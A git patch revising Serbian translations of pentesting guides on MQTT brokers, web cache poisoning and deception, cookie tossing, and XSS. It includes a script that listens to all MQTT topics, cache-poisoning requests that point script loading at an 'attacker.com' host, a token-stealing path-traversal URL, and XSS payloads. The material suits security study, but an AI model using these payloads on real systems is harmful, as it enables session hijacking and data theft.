From c34912145c264c1ef7cdd2ef80fa46cff820ae46 Mon Sep 17 00:00:00 2001 From: Translator Date: Mon, 24 Mar 2025 11:34:04 +0000 Subject: [PATCH] Translated ['src/network-services-pentesting/1883-pentesting-mqtt-mosqui --- .../1883-pentesting-mqtt-mosquitto.md | 34 ++--- src/pentesting-web/cache-deception/README.md | 48 ++++--- .../hacking-with-cookies/cookie-tossing.md | 17 +-- .../xss-cross-site-scripting/README.md | 135 +++++++++--------- 4 files changed, 119 insertions(+), 115 deletions(-) diff --git a/src/network-services-pentesting/1883-pentesting-mqtt-mosquitto.md b/src/network-services-pentesting/1883-pentesting-mqtt-mosquitto.md index 008eddb6a..b34681ddb 100644 --- a/src/network-services-pentesting/1883-pentesting-mqtt-mosquitto.md +++ b/src/network-services-pentesting/1883-pentesting-mqtt-mosquitto.md @@ -13,7 +13,7 @@ PORT STATE SERVICE REASON ``` ## Inspecting the traffic -Kada MQTT brokeri prime **CONNECT** paket, šalje se **CONNACK** paket nazad. Ovaj paket sadrži povratni kod koji je ključan za razumevanje statusa veze. Povratni kod **0x00** znači da su akreditivi prihvaćeni, što označava uspešnu vezu. S druge strane, povratni kod **0x05** signalizira da su akreditivi nevažeći, čime se sprečava veza. +Kada MQTT broker primi **CONNECT** paket, šalje se **CONNACK** paket nazad. Ovaj paket sadrži kod povratne informacije koji je ključan za razumevanje statusa veze. Kod povratne informacije **0x00** znači da su akreditivi prihvaćeni, što označava uspešnu vezu. S druge strane, kod povratne informacije **0x05** signalizira da su akreditivi nevažeći, čime se sprečava veza. Na primer, ako broker odbije vezu zbog nevažećih akreditiva, scenario bi izgledao ovako: ``` @@ -44,7 +44,7 @@ apt-get install mosquitto mosquitto-clients mosquitto_sub -t 'test/topic' -v #Subscribe to 'test/topic' mosquitto_sub -h -t "#" -v #Subscribe to ALL topics. ``` -Ili možete **pokrenuti ovaj kod da pokušate da se povežete na MQTT servis bez autentifikacije, prijavite se na svaku temu i slušate ih**: +Ili možete **pokrenuti ovaj kod da pokušate da se povežete na MQTT servis bez autentifikacije, pretplatite se na svaku temu i slušate ih**: ```python #This is a modified version of https://github.com/Warflop/IOT-MQTT-Exploit/blob/master/mqtt.py import paho.mqtt.client as mqtt @@ -73,41 +73,37 @@ client.loop_start() if __name__ == "__main__": main() ``` -## Više informacija +### Model objavljivanja/pretplate -from here: [https://morphuslabs.com/hacking-the-iot-with-mqtt-8edaf0d07b9b](https://morphuslabs.com/hacking-the-iot-with-mqtt-8edaf0d07b9b) +Model objavljivanja/pretplate se sastoji od: -### Publish/Subscribe obrazac - -Model publish/subscribe se sastoji od: - -- **Publisher**: objavljuje poruku na jednoj (ili više) tema u brokeru. -- **Subscriber**: pretplaćuje se na jednu (ili više) tema u brokeru i prima sve poruke koje šalje publisher. -- **Broker**: usmerava sve poruke od publisher-a do subscriber-a. -- **Tema**: sastoji se od jednog ili više nivoa koji su odvojeni kosem crtom (npr., /smartshouse/livingroom/temperature). +- **Objavitelj**: objavljuje poruku na jednoj (ili više) tema u brokeru. +- **Pretplatnik**: pretplaćuje se na jednu (ili više) tema u brokeru i prima sve poruke koje šalje objavitelj. +- **Broker**: usmerava sve poruke od objavitelja do pretplatnika. +- **Tema**: sastoji se od jednog ili više nivoa koji su odvojeni kose crte (npr., /smartshouse/livingroom/temperature). ### Format paketa -Svaki MQTT paket sadrži fiksni header (Slika 02).Slika 02: Fiksni header +Svaki MQTT paket sadrži fiksni zaglavlje (Slika 02).Slika 02: Fiksni zaglavlje ![https://miro.medium.com/max/838/1*k6RkAHEk0576geQGUcKSTA.png](https://miro.medium.com/max/838/1*k6RkAHEk0576geQGUcKSTA.png) ### Tipovi paketa -- CONNECT (1): Inicira klijent da zatraži vezu sa serverom. -- CONNACK (2): Serverovo potvrđivanje uspešne veze. +- CONNECT (1): Inicira ga klijent da zatraži vezu sa serverom. +- CONNACK (2): Potvrda servera o uspešnoj vezi. - PUBLISH (3): Koristi se za slanje poruke od klijenta do servera ili obrnuto. - PUBACK (4): Potvrda PUBLISH paketa. - PUBREC (5): Deo protokola za isporuku poruka koji osigurava da je poruka primljena. - PUBREL (6): Dalje osiguranje u isporuci poruka, označava oslobađanje poruke. - PUBCOMP (7): Poslednji deo protokola za isporuku poruka, označava završetak. - SUBSCRIBE (8): Zahtev klijenta da sluša poruke sa teme. -- SUBACK (9): Serverovo potvrđivanje SUBSCRIBE zahteva. +- SUBACK (9): Potvrda servera o SUBSCRIBE zahtevu. - UNSUBSCRIBE (10): Zahtev klijenta da prestane da prima poruke sa teme. -- UNSUBACK (11): Serverov odgovor na UNSUBSCRIBE zahtev. +- UNSUBACK (11): Odgovor servera na UNSUBSCRIBE zahtev. - PINGREQ (12): Poruka srca koju šalje klijent. -- PINGRESP (13): Serverov odgovor na poruku srca. -- DISCONNECT (14): Inicira klijent da prekine vezu. +- PINGRESP (13): Odgovor servera na poruku srca. +- DISCONNECT (14): Inicira ga klijent da prekine vezu. - Dve vrednosti, 0 i 15, su označene kao rezervisane i njihova upotreba je zabranjena. ## Shodan diff --git a/src/pentesting-web/cache-deception/README.md b/src/pentesting-web/cache-deception/README.md index 8b58cf090..eec834e95 100644 --- a/src/pentesting-web/cache-deception/README.md +++ b/src/pentesting-web/cache-deception/README.md @@ -15,9 +15,9 @@ Cache poisoning ima za cilj manipulaciju kešom na klijentskoj strani kako bi se Izvršenje napada cache poisoning uključuje nekoliko koraka: -1. **Identifikacija neključenih ulaza**: Ovo su parametri koji, iako nisu potrebni da bi zahtev bio keširan, mogu promeniti odgovor koji server vraća. Identifikacija ovih ulaza je ključna jer se mogu iskoristiti za manipulaciju kešom. -2. **Eksploatacija neključenih ulaza**: Nakon identifikacije neključenih ulaza, sledeći korak uključuje otkrivanje kako da se zloupotrebe ovi parametri kako bi se modifikovao odgovor servera na način koji koristi napadaču. -3. **Osiguranje da je kontaminirani odgovor keširan**: Poslednji korak je osigurati da je manipulisan odgovor sačuvan u kešu. Na taj način, svaki korisnik koji pristupa pogođenoj stranici dok je keš kontaminiran, primiće kontaminirani odgovor. +1. **Identifikacija Unkeyed Inputs**: Ovo su parametri koji, iako nisu potrebni da bi zahtev bio keširan, mogu promeniti odgovor koji server vraća. Identifikacija ovih ulaza je ključna jer se mogu iskoristiti za manipulaciju kešom. +2. **Eksploatacija Unkeyed Inputs**: Nakon identifikacije unkeyed inputs, sledeći korak uključuje otkrivanje kako da se zloupotrebe ovi parametri kako bi se modifikovao odgovor servera na način koji koristi napadaču. +3. **Osiguranje da je Kontaminirani Odgovor Keširan**: Poslednji korak je osigurati da je manipulisan odgovor sačuvan u kešu. Na taj način, svaki korisnik koji pristupa pogođenoj stranici dok je keš kontaminiran će primiti kontaminirani odgovor. ### Otkriće: Proverite HTTP zaglavlja @@ -35,7 +35,7 @@ cache-poisoning-to-dos.md Međutim, imajte na umu da **ponekad ovi tipovi status kodova nisu keširani**, tako da ovaj test možda neće biti pouzdan. -### Otkriće: Identifikujte i procenite neključne ulaze +### Otkriće: Identifikujte i procenite unkeyed inputs Možete koristiti [**Param Miner**](https://portswigger.net/bappstore/17d2949a985c4b7ca092728dba871943) da **brute-force-ujete parametre i zaglavlja** koja mogu **menjati odgovor stranice**. Na primer, stranica može koristiti zaglavlje `X-Forwarded-For` da označi klijentu da učita skriptu odatle: ```html @@ -47,7 +47,7 @@ Sa identifikovanim parametrom/hedrom proverite kako se **sanitizuje** i **gde** ### Dobijanje keširanog odgovora -Kada ste **identifikovali** **stranicu** koja može biti zloupotrebljena, koji **parametar**/**heder** koristiti i **kako** ga **zloupotrebiti**, potrebno je da dobijete stranicu keširanu. U zavisnosti od resursa koji pokušavate da dobijete u kešu, ovo može potrajati, možda ćete morati da pokušavate nekoliko sekundi. +Kada identifikujete **stranicu** koja može biti zloupotrebljena, koji **parametar**/**heder** koristiti i **kako** ga **zloupotrebiti**, potrebno je da dobijete stranicu keširanu. U zavisnosti od resursa koji pokušavate da dobijete u kešu, ovo može potrajati, možda ćete morati da pokušavate nekoliko sekundi. Heder **`X-Cache`** u odgovoru može biti veoma koristan jer može imati vrednost **`miss`** kada zahtev nije keširan i vrednost **`hit`** kada je keširan.\ Heder **`Cache-Control`** je takođe zanimljiv da se zna da li se resurs kešira i kada će sledeći put biti keširan: `Cache-Control: public, max-age=1800` @@ -71,15 +71,23 @@ X-Forwarded-Host: a.">" ``` _Napomena da će ovo otrovati zahtev za `/en?region=uk`, a ne za `/en`_ -### Trovanje kešom za DoS +### Trovanje keša za DoS {{#ref}} cache-poisoning-to-dos.md {{#endref}} -### Korišćenje trovanja web kešom za iskorišćavanje ranjivosti u rukovanju kolačićima +### Trovanje keša kroz CDN-ove -Kolačići se takođe mogu odraziti na odgovor stranice. Ako možete da ih zloupotrebite da izazovete XSS, na primer, mogli biste biti u mogućnosti da iskoristite XSS u nekoliko klijenata koji učitavaju zloćudni keš odgovor. +U **[ovoj analizi](https://nokline.github.io/bugbounty/2024/02/04/ChatGPT-ATO.html)** objašnjen je sledeći jednostavan scenario: + +- CDN će keširati sve pod `/share/` +- CDN NEĆE dekodirati niti normalizovati `%2F..%2F`, stoga se može koristiti kao **putanja za pristup drugim osetljivim lokacijama koje će biti keširane** kao što je `https://chat.openai.com/share/%2F..%2Fapi/auth/session?cachebuster=123` +- Web server ĆE dekodirati i normalizovati `%2F..%2F`, i odgovoriće sa `/api/auth/session`, koji **sadrži auth token**. + +### Korišćenje trovanja web keša za iskorišćavanje ranjivosti u rukovanju kolačićima + +Kolačići se takođe mogu odraziti na odgovoru stranice. Ako možete da ih iskoristite da izazovete XSS, na primer, mogli biste biti u mogućnosti da iskoristite XSS u nekoliko klijenata koji učitavaju zlonamerni keš odgovor. ```html GET / HTTP/1.1 Host: vulnerable.com @@ -97,7 +105,7 @@ cache-poisoning-via-url-discrepancies.md ### Trovanje keša sa prolazom kroz putanju za krađu API ključa -[**Ovaj izveštaj objašnjava**](https://nokline.github.io/bugbounty/2024/02/04/ChatGPT-ATO.html) kako je bilo moguće ukrasti OpenAI API ključ sa URL-om poput `https://chat.openai.com/share/%2F..%2Fapi/auth/session?cachebuster=123` jer će sve što odgovara `/share/*` biti keširano bez Cloudflare normalizacije URL-a, što je urađeno kada je zahtev stigao do veb servera. +[**Ovaj izveštaj objašnjava**](https://nokline.github.io/bugbounty/2024/02/04/ChatGPT-ATO.html) kako je bilo moguće ukrasti OpenAI API ključ sa URL-om poput `https://chat.openai.com/share/%2F..%2Fapi/auth/session?cachebuster=123` jer će sve što odgovara `/share/*` biti keširano bez Cloudflare normalizacije URL-a, što je urađeno kada je zahtev stigao do web servera. Ovo je takođe bolje objašnjeno u: @@ -105,18 +113,18 @@ Ovo je takođe bolje objašnjeno u: cache-poisoning-via-url-discrepancies.md {{#endref}} -### Korišćenje više zaglavlja za iskorišćavanje ranjivosti trovanja veb keša +### Korišćenje više zaglavlja za iskorišćavanje ranjivosti trovanja web keša -Ponekad će vam biti potrebno da **iskoristite nekoliko neključenih ulaza** kako biste mogli da zloupotrebite keš. Na primer, možete pronaći **Open redirect** ako postavite `X-Forwarded-Host` na domen koji kontrolišete i `X-Forwarded-Scheme` na `http`. **Ako** **server** **prosledi** sve **HTTP** zahteve **na HTTPS** i koristi zaglavlje `X-Forwarded-Scheme` kao naziv domena za preusmeravanje. Možete kontrolisati gde je stranica usmerena preusmeravanjem. +Ponekad ćete morati da **iskoristite nekoliko neključenih ulaza** kako biste mogli da zloupotrebite keš. Na primer, možete pronaći **Open redirect** ako postavite `X-Forwarded-Host` na domen koji kontrolišete i `X-Forwarded-Scheme` na `http`. **Ako** **server** **prosledi** sve **HTTP** zahteve **na HTTPS** i koristi zaglavlje `X-Forwarded-Scheme` kao naziv domena za preusmeravanje. Možete kontrolisati gde je stranica usmerena preusmeravanjem. ```html GET /resources/js/tracking.js HTTP/1.1 Host: acc11fe01f16f89c80556c2b0056002e.web-security-academy.net X-Forwarded-Host: ac8e1f8f1fb1f8cb80586c1d01d500d3.web-security-academy.net/ X-Forwarded-Scheme: http ``` -### Iskorišćavanje sa ograničenim `Vary` zaglavljem +### Iskorišćavanje sa ograničenim `Vary` header-om -Ako ste otkrili da se **`X-Host`** zaglavlje koristi kao **ime domena za učitavanje JS resursa** ali **`Vary`** zaglavlje u odgovoru ukazuje na **`User-Agent`**. Tada treba da pronađete način da izvučete User-Agent žrtve i otrovate keš koristeći taj korisnički agent: +Ako ste otkrili da se **`X-Host`** header koristi kao **ime domena za učitavanje JS resursa**, ali **`Vary`** header u odgovoru ukazuje na **`User-Agent`**. Tada treba da pronađete način da eksfiltrirate User-Agent žrtve i otrovate keš koristeći taj korisnički agent: ```html GET / HTTP/1.1 Host: vulnerbale.net @@ -125,7 +133,7 @@ X-Host: attacker.com ``` ### Fat Get -Pošaljite GET zahtev sa zahtevom u URL-u i u telu. Ako veb server koristi onaj iz tela, ali server za keširanje kešira onaj iz URL-a, svako ko pristupi tom URL-u zapravo će koristiti parametar iz tela. Kao što je ranjivost koju je pronašao James Kettle na veb sajtu Github: +Pošaljite GET zahtev sa zahtevom u URL-u i u telu. Ako veb server koristi onaj iz tela, ali server za keširanje kešira onaj iz URL-a, svako ko pristupi tom URL-u zapravo će koristiti parametar iz tela. Kao što je ranjivost koju je pronašao James Kettle na Github vebsajtu: ``` GET /contact/report-abuse?report=albinowax HTTP/1.1 Host: github.com @@ -138,7 +146,7 @@ There it a portswigger lab about this: [https://portswigger.net/web-security/web ### Parameter Cloacking -Na primer, moguće je odvojiti **parametre** na ruby serverima koristeći karakter **`;`** umesto **`&`**. Ovo se može koristiti za stavljanje vrednosti parametara bez ključeva unutar onih sa ključevima i zloupotrebu istih. +Na primer, moguće je odvojiti **parametre** na ruby serverima koristeći karakter **`;`** umesto **`&`**. Ovo se može koristiti za stavljanje vrednosti neključenih parametara unutar ključnih i njihovo zloupotrebljavanje. Portswigger lab: [https://portswigger.net/web-security/web-cache-poisoning/exploiting-implementation-flaws/lab-web-cache-poisoning-param-cloaking](https://portswigger.net/web-security/web-cache-poisoning/exploiting-implementation-flaws/lab-web-cache-poisoning-param-cloaking) @@ -164,19 +172,19 @@ Slanje loše vrednosti u headeru content-type izazvalo je 405 keširani odgovor. ### GitLab + GCP CP-DoS -GitLab koristi GCP kante za skladištenje statičkog sadržaja. **GCP Buckets** podržavaju **header `x-http-method-override`**. Tako je bilo moguće poslati header `x-http-method-override: HEAD` i otrovati keš da vrati prazan odgovor. Takođe je mogla podržati metodu `PURGE`. +GitLab koristi GCP kante za skladištenje statičkog sadržaja. **GCP Kante** podržavaju **header `x-http-method-override`**. Tako je bilo moguće poslati header `x-http-method-override: HEAD` i otrovati keš da vrati prazan odgovor. Takođe je mogla podržati metodu `PURGE`. ### Rack Middleware (Ruby on Rails) -U Ruby on Rails aplikacijama, Rack middleware se često koristi. Svrha Rack koda je da uzme vrednost **`x-forwarded-scheme`** headera i postavi je kao shemu zahteva. Kada se pošalje header `x-forwarded-scheme: http`, dolazi do 301 preusmeravanja na istu lokaciju, potencijalno uzrokujući Denial of Service (DoS) za taj resurs. Pored toga, aplikacija može prepoznati `X-forwarded-host` header i preusmeriti korisnike na određeni host. Ovo ponašanje može dovesti do učitavanja JavaScript datoteka sa servera napadača, što predstavlja sigurnosni rizik. +U Ruby on Rails aplikacijama, Rack middleware se često koristi. Svrha Rack koda je da uzme vrednost **`x-forwarded-scheme`** headera i postavi je kao shemu zahteva. Kada se pošalje header `x-forwarded-scheme: http`, dolazi do 301 preusmeravanja na istu lokaciju, što može izazvati Denial of Service (DoS) za taj resurs. Pored toga, aplikacija može priznati `X-forwarded-host` header i preusmeriti korisnike na određeni host. Ovo ponašanje može dovesti do učitavanja JavaScript datoteka sa servera napadača, što predstavlja sigurnosni rizik. ### 403 and Storage Buckets -Cloudflare je ranije keširao 403 odgovore. Pokušaj pristupa S3 ili Azure Storage Blobs sa netačnim Authorization headerima rezultirao bi 403 odgovorom koji je keširan. Iako je Cloudflare prestao sa keširanjem 403 odgovora, ovo ponašanje može i dalje biti prisutno u drugim proxy servisima. +Cloudflare je ranije keširao 403 odgovore. Pokušaj pristupa S3 ili Azure Storage Blobs sa pogrešnim Authorization headerima rezultirao bi 403 odgovorom koji je keširan. Iako je Cloudflare prestao sa keširanjem 403 odgovora, ovo ponašanje može i dalje biti prisutno u drugim proxy servisima. ### Injecting Keyed Parameters -Keševi često uključuju specifične GET parametre u ključ keša. Na primer, Fastly's Varnish je keširao `size` parametar u zahtevima. Međutim, ako je URL-enkodirana verzija parametra (npr. `siz%65`) takođe poslata sa netačnom vrednošću, ključ keša bi bio konstruisan koristeći ispravni `size` parametar. Ipak, backend bi obradio vrednost u URL-enkodiranom parametru. URL-enkodiranje drugog `size` parametra dovelo je do njegovog izostavljanja od strane keša, ali njegove upotrebe od strane backend-a. Dodeljivanje vrednosti 0 ovom parametru rezultiralo je keširanim 400 Bad Request greškom. +Keševi često uključuju specifične GET parametre u ključ keša. Na primer, Fastly's Varnish je keširao `size` parametar u zahtevima. Međutim, ako je URL-enkodirana verzija parametra (npr. `siz%65`) takođe poslata sa pogrešnom vrednošću, ključ keša bi bio konstruisan koristeći ispravni `size` parametar. Ipak, backend bi obradio vrednost u URL-enkodiranom parametru. URL-enkodiranje drugog `size` parametra dovelo je do njegovog izostavljanja od strane keša, ali njegove upotrebe od strane backend-a. Dodeljivanje vrednosti 0 ovom parametru rezultiralo je keširanim 400 Bad Request greškom. ### User Agent Rules @@ -209,7 +217,7 @@ Još jedan vrlo jasan primer može se naći u ovom izveštaju: [https://hackeron U primeru se objašnjava da ako učitate nepostojeću stranicu kao što je _http://www.example.com/home.php/non-existent.css_, sadržaj _http://www.example.com/home.php_ (**sa osetljivim informacijama korisnika**) će biti vraćen i keš server će sačuvati rezultat.\ Zatim, **napadač** može pristupiti _http://www.example.com/home.php/non-existent.css_ u svom pretraživaču i posmatrati **povjerljive informacije** korisnika koji su prethodno pristupili. -Napomena da bi **cache proxy** trebao biti **konfiguran** da **kešira** datoteke **na osnovu** **ekstenzije** datoteke (_.css_) a ne na osnovu content-type. U primeru _http://www.example.com/home.php/non-existent.css_ će imati `text/html` content-type umesto `text/css` mime tipa (što je očekivano za _.css_ datoteku). +Imajte na umu da bi **keš proxy** trebao biti **konfiguran** da **kešira** datoteke **na osnovu** **ekstenzije** datoteke (_.css_) a ne na osnovu content-type. U primeru _http://www.example.com/home.php/non-existent.css_ će imati `text/html` content-type umesto `text/css` mime tipa (što je očekivano za _.css_ datoteku). Saznajte ovde kako izvesti [Cache Deceptions napade zloupotrebom HTTP Request Smuggling](../http-request-smuggling/index.html#using-http-request-smuggling-to-perform-web-cache-deception). diff --git a/src/pentesting-web/hacking-with-cookies/cookie-tossing.md b/src/pentesting-web/hacking-with-cookies/cookie-tossing.md index f82fe696e..5d6a435b2 100644 --- a/src/pentesting-web/hacking-with-cookies/cookie-tossing.md +++ b/src/pentesting-web/hacking-with-cookies/cookie-tossing.md @@ -4,9 +4,9 @@ ### Description -Ako napadač može **kontrolisati poddomen ili domen kompanije ili pronađe XSS u poddomeni**, moći će da izvede ovaj napad. +Ako napadač može **kontrolisati poddomen ili domen kompanije ili pronađe XSS u poddomeni**, biće u mogućnosti da izvede ovaj napad. -Kao što je navedeno u sekciji Hacking Cookies, kada je **kolačić postavljen na domen (specifikujući ga), koristiće se u domenu i poddomenima.** +Kao što je navedeno u sekciji Hacking Cookies, kada se **kolačić postavi na domen (specifikujući ga), koristiće se u domenu i poddomenima.** > [!CAUTION] > Stoga, **napadač će moći da postavi specifičan kolačić na domen i poddomene radeći nešto poput** `document.cookie="session=1234; Path=/app/login; domain=.example.com"` @@ -14,14 +14,15 @@ Kao što je navedeno u sekciji Hacking Cookies, kada je **kolačić postavljen n Ovo može biti opasno jer napadač može: - **Fiksirati kolačić žrtve na napadačev račun**, tako da ako korisnik ne primeti, **izvršiće radnje na napadačevom računu** i napadač može dobiti neke zanimljive informacije (proveriti istoriju pretraga korisnika na platformi, žrtva može postaviti svoju kreditnu karticu na račun...) -- Ako se **kolačić ne menja nakon prijavljivanja**, napadač može samo **fiksirati kolačić (session-fixation)**, čekati dok se žrtva prijavi i zatim **iskoristiti taj kolačić da se prijavi kao žrtva**. +- Primer ovoga [može se naći ovde](https://snyk.io/articles/hijacking-oauth-flows-via-cookie-tossing/) gde je napadač postavio svoj kolačić u specifičnim sekcijama koje će žrtva koristiti za autorizaciju **pristupa svojim git repozitorijumima, ali sa napadačevog računa** jer će postavljati svoje kolačiće na potrebne krajnje tačke. +- Ako se **kolačić ne menja nakon prijavljivanja**, napadač može samo **fiksirati kolačić (session-fixation)**, čekati da se žrtva prijavi i zatim **koristiti taj kolačić da se prijavi kao žrtva**. - Ponekad, čak i ako se kolačići sesije menjaju, napadač koristi prethodni i takođe će dobiti novi. -- Ako **kolačić postavlja neku početnu vrednost** (kao u flasku gde **kolačić** može **postaviti** **CSRF token** sesije i ova vrednost će se održati nakon što se žrtva prijavi), **napadač može postaviti ovu poznatu vrednost i zatim je zloupotrebiti** (u tom scenariju, napadač može naterati korisnika da izvrši CSRF zahtev jer zna CSRF token). -- Baš kao što postavlja vrednost, napadač bi takođe mogao dobiti neautentifikovani kolačić generisan od strane servera, dobiti CSRF token iz njega i iskoristiti ga. +- Ako **kolačić postavlja neku inicijalnu vrednost** (kao u flasku gde **kolačić** može **postaviti** **CSRF token** sesije i ova vrednost će se održati nakon što se žrtva prijavi), **napadač može postaviti ovu poznatu vrednost i zatim je zloupotrebiti** (u tom scenariju, napadač može naterati korisnika da izvrši CSRF zahtev jer zna CSRF token). +- Baš kao što postavlja vrednost, napadač bi takođe mogao dobiti neautentifikovani kolačić generisan od strane servera, dobiti CSRF token iz njega i koristiti ga. ### Cookie Order -Kada pregledač primi dva kolačića sa istim imenom **delimično utičući na istu oblast** (domen, poddomeni i putanja), **pregledač će poslati obe vrednosti kolačića** kada su obe važeće za zahtev. +Kada pregledač primi dva kolačića sa istim imenom **delimično utičući na istu oblast** (domen, poddomeni i putanja), **pregledač će poslati obe vrednosti kolačića** kada su oba validna za zahtev. U zavisnosti od toga ko ima **najspecifičniju putanju** ili koji je **najstariji**, pregledač će **prvo postaviti vrednost kolačića** a zatim vrednost drugog kao u: `Cookie: iduser=MoreSpecificAndOldestCookie; iduser=LessSpecific;` @@ -32,9 +33,9 @@ Većina **vеб сајтова ће користити само прву вре ### Protection Bypass -Moguća zaštita protiv ovog napada bi bila da **web server ne prihvata zahteve sa dva kolačića istog imena ali sa dva različita vrednosti**. +Moguća zaštita protiv ovog napada bi bila da **web server ne prihvata zahteve sa dva kolačića sa istim imenom ali sa dva različita vrednosti**. -Da bi zaobišao scenario u kojem napadač postavlja kolačić nakon što je žrtvi već dodeljen kolačić, napadač bi mogao izazvati **kolačić prelivanje** i zatim, kada se **legitiman kolačić obriše, postaviti zlonamerni**. +Da bi zaobišao scenario u kojem napadač postavlja kolačić nakon što je žrtvi već dodeljen kolačić, napadač bi mogao izazvati **kolačić overflow** i zatim, kada se **legitiman kolačić obriše, postaviti zlonamerni**. {{#ref}} cookie-jar-overflow.md diff --git a/src/pentesting-web/xss-cross-site-scripting/README.md b/src/pentesting-web/xss-cross-site-scripting/README.md index 823ad118d..caa84c808 100644 --- a/src/pentesting-web/xss-cross-site-scripting/README.md +++ b/src/pentesting-web/xss-cross-site-scripting/README.md @@ -3,8 +3,8 @@ ## Metodologija 1. Proverite da li se **bilo koja vrednost koju kontrolišete** (_parametri_, _putanja_, _zaglavlja_?, _kolačići_?) **odražava** u HTML-u ili se **koristi** od strane **JS** koda. -2. **Pronađite kontekst** u kojem se odražava/koristi. -3. Ako je **odraženo** +2. **Pronađite kontekst** gde se odražava/koristi. +3. Ako je **odražano** 1. Proverite **koje simbole možete koristiti** i u zavisnosti od toga, pripremite payload: 1. U **sirovom HTML-u**: 1. Možete li kreirati nove HTML tagove? @@ -33,7 +33,7 @@ Kada radite na složenom XSS-u, možda će vam biti zanimljivo da saznate o: debugging-client-side-js.md {{#endref}} -## Odrasle vrednosti +## Odražene vrednosti Da biste uspešno iskoristili XSS, prva stvar koju treba da pronađete je **vrednost koju kontrolišete koja se odražava** na veb stranici. @@ -45,7 +45,7 @@ Da biste uspešno iskoristili XSS, prva stvar koju treba da pronađete je **vred Kada pokušavate da iskoristite XSS, prva stvar koju treba da znate je **gde se vaš ulaz odražava**. U zavisnosti od konteksta, moći ćete da izvršite proizvoljan JS kod na različite načine. -### Sirovi HTML +### Sirov HTML Ako se vaš ulaz **odražava na sirovom HTML** stranici, moraćete da zloupotrebite neki **HTML tag** kako biste izvršili JS kod: `` je kodiran ili obrisan), u zavisnosti od taga mogli biste **kreirati događaj** koji izvršava JS kod: `" autofocus onfocus=alert(1) x="` -3. Ako **ne možete pobjeći iz atributa** (`"` je kodiran ili obrisan), onda u zavisnosti od **koji atribut** se vaša vrednost odražava **ako kontrolišete celu vrednost ili samo deo** moći ćete da zloupotrebite. Na **primer**, ako kontrolišete događaj kao što je `onclick=`, moći ćete da ga naterate da izvrši proizvoljan kod kada se klikne. Još jedan zanimljiv **primer** je atribut `href`, gde možete koristiti `javascript:` protokol za izvršavanje proizvoljnog koda: **`href="javascript:alert(1)"`** -4. Ako se vaš ulaz odražava unutar "**neeksploatabilnih tagova**", mogli biste pokušati trik sa **`accesskey`** da zloupotrebite ranjivost (biće vam potrebna neka vrsta socijalnog inženjeringa da biste to iskoristili): **`" accesskey="x" onclick="alert(1)" x="** +3. Ako **ne možete pobjeći iz atributa** (`"` se kodira ili briše), onda u zavisnosti od **kojeg atributa** se vaša vrednost odražava **ako kontrolišete celu vrednost ili samo deo**, moći ćete da je zloupotrebite. Na **primer**, ako kontrolišete događaj kao što je `onclick=`, moći ćete da ga naterate da izvrši proizvoljan kod kada se klikne. Još jedan zanimljiv **primer** je atribut `href`, gde možete koristiti `javascript:` protokol za izvršavanje proizvoljnog koda: **`href="javascript:alert(1)"`** +4. Ako se vaš ulaz odražava unutar "**neiskoristivih tagova**", mogli biste pokušati trik sa **`accesskey`** da zloupotrebite ranjivost (biće vam potrebna neka vrsta socijalnog inženjeringa da biste to iskoristili): **`" accesskey="x" onclick="alert(1)" x="`** Čudan primer Angular-a koji izvršava XSS ako kontrolišete ime klase: ```html @@ -83,8 +83,8 @@ alert(1) ``` #### Javascript Hoisting -Javascript Hoisting se odnosi na mogućnost da **deklarirate funkcije, promenljive ili klase nakon što su korišćene, tako da možete iskoristiti scenarije gde XSS koristi nedeklarisane promenljive ili funkcije.**\ -**Pogledajte sledeću stranicu za više informacija:** +Javascript Hoisting se odnosi na mogućnost da **deklarirate funkcije, promenljive ili klase nakon što su korišćene kako biste mogli da iskoristite scenarije gde XSS koristi nedeklarisane promenljive ili funkcije.**\ +**Proverite sledeću stranicu za više informacija:** {{#ref}} js-hoisting.md @@ -116,7 +116,7 @@ Možete takođe pokušati da **pokrenete Javascript funkcije** direktno: `obj.sa Međutim, obično su krajnje tačke koje izvršavaju navedenu funkciju krajnje tačke bez mnogo zanimljivog DOM-a, **druge stranice u istom poreklu** će imati **zanimljiviji DOM** za izvođenje više akcija. -Stoga je, kako bi se **zloupotrebila ova ranjivost u različitom DOM-u**, razvijena **Same Origin Method Execution (SOME)** eksploatacija: +Stoga, kako bi se **zloupotrebila ova ranjivost u različitom DOM-u**, razvijena je **Same Origin Method Execution (SOME)** eksploatacija: {{#ref}} some-same-origin-method-execution.md @@ -151,7 +151,7 @@ server-side-xss-dynamic-pdf.md Kada se vaš unos odražava **unutar HTML stranice** ili možete pobjeći i umetnuti HTML kod u ovom kontekstu, **prva** stvar koju treba da uradite je da proverite da li možete da zloupotrebite `<` da kreirate nove oznake: Samo pokušajte da **odrazite** taj **karakter** i proverite da li je **HTML kodiran** ili **izbrisan** ili ako je **odražen bez promena**. **Samo u poslednjem slučaju ćete moći da iskoristite ovaj slučaj**.\ Za ove slučajeve takođe **imajte na umu** [**Client Side Template Injection**](../client-side-template-injection-csti.md)**.**\ -_**Napomena: HTML komentar može biti zatvoren koristeći\*\*\*\*\*\***\***\*`-->`\*\***\***\*ili \*\*\*\*\*\***`--!>`\*\*_ +_**Napomena: HTML komentar se može zatvoriti koristeći\*\*\*\*\*\***\***\*`-->`\*\***\***\*ili \*\*\*\*\*\***`--!>`\*\*_ U ovom slučaju i ako se ne koristi crna/bela lista, mogli biste koristiti payload-e kao: ```html @@ -161,16 +161,16 @@ alert(1) ``` -Ali, ako se koristi crna/bela lista tagova/atributa, biće potrebno da **brute-force-ujete koje tagove** možete kreirati.\ -Kada pronađete **koji tagovi su dozvoljeni**, biće potrebno da **brute-force-ujete atribute/događaje** unutar pronađenih validnih tagova da biste videli kako možete napasti kontekst. +Ali, ako se koristi crna/bela lista tagova/atributa, moraćete da **brute-force-ujete koji tagovi** možete da kreirate.\ +Kada pronađete **koji tagovi su dozvoljeni**, moraćete da **brute-force-ujete atribute/događaje** unutar pronađenih validnih tagova da vidite kako možete napasti kontekst. ### Brute-force tagova/događaja -Idite na [**https://portswigger.net/web-security/cross-site-scripting/cheat-sheet**](https://portswigger.net/web-security/cross-site-scripting/cheat-sheet) i kliknite na _**Copy tags to clipboard**_. Zatim, pošaljite sve njih koristeći Burp intruder i proverite da li neki tag nije otkriven kao maliciozan od strane WAF-a. Kada otkrijete koje tagove možete koristiti, možete **brute-force-ovati sve događaje** koristeći validne tagove (na istoj web stranici kliknite na _**Copy events to clipboard**_ i pratite istu proceduru kao pre). +Idite na [**https://portswigger.net/web-security/cross-site-scripting/cheat-sheet**](https://portswigger.net/web-security/cross-site-scripting/cheat-sheet) i kliknite na _**Copy tags to clipboard**_. Zatim, pošaljite sve njih koristeći Burp intruder i proverite da li neki tag nije otkriven kao zlonameran 